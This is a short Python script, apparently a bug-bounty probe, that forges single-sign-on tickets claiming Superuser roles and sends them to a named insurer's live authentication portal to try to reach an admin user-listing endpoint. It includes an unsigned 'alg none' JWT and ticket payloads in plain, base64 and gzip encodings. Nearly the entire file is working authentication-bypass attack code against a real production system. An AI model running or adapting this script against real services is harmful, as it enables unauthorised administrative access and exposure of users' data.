#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from urllib.parse import quote
from pathlib import Path
import base64,gzip,time,json
ident={'X-Bug-Bounty':'dwbzn'}
base='https://mein-portal.baloise.de/auth'
loc='https://gwde.baloise.de/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'
plain='username=su;roles=Superuser,guidewire_pc;Identifier=su;userId=su;uid=su;'
exp=int((time.time()+3600)*1000).to_bytes(8,'big')
raw=plain.encode('iso-8859-1')+exp
b64=base64.b64encode(raw).decode()
gzb64=base64.b64encode(gzip.compress(raw)).decode()
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
claims={'iss':'Airlock IAM','sub':'su','username':'su','roles':['Superuser','guidewire_pc'],'exp':int(time.time()+3600)}
jwt_none=b64u(json.dumps({'alg':'none','typ':'JWT'},separators=(',',':')).encode())+'.'+b64u(json.dumps(claims,separators=(',',':')).encode())+'.'
payloads=[('control',None),('plain',plain),('plain_eservice',plain.replace('username=su','eServiceUser=su')),('base64',b64),('gzip64',gzb64),('esp',Path('work/scratch/esp-su.txt').read_text().strip()),('jwt_none',jwt_none)]
for name,ticket in payloads:
 s=requests.Session(impersonate='chrome')
 s.get(base+'/ui/app/auth/application/access?Location='+quote(loc,safe=''),headers=ident,timeout=20)
 h={**ident,'Accept':'application/json, application/vnd.api+json','Content-Type':'application/json','X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or ''}
 if ticket is not None: h['X-IAM-SSO-Ticket']=ticket
 r=s.post(base+'/rest/public/authentication/location/access',headers=h,json={'location':loc},timeout=20)
 try:j=r.json()
 except:j={}
 print(json.dumps({'name':name,'status':r.status_code,'len':len(r.content),'exchange':getattr(r,'toadex_exchange_id',None),'next':j.get('meta',{}).get('nextAuthStep'),'forward':j.get('meta',{}).get('forwardUrl'),'path':j.get('meta',{}).get('uiSettings',{}).get('path'),'error':j.get('errors',[{}])[0].get('code') if j.get('errors') else None},ensure_ascii=False))
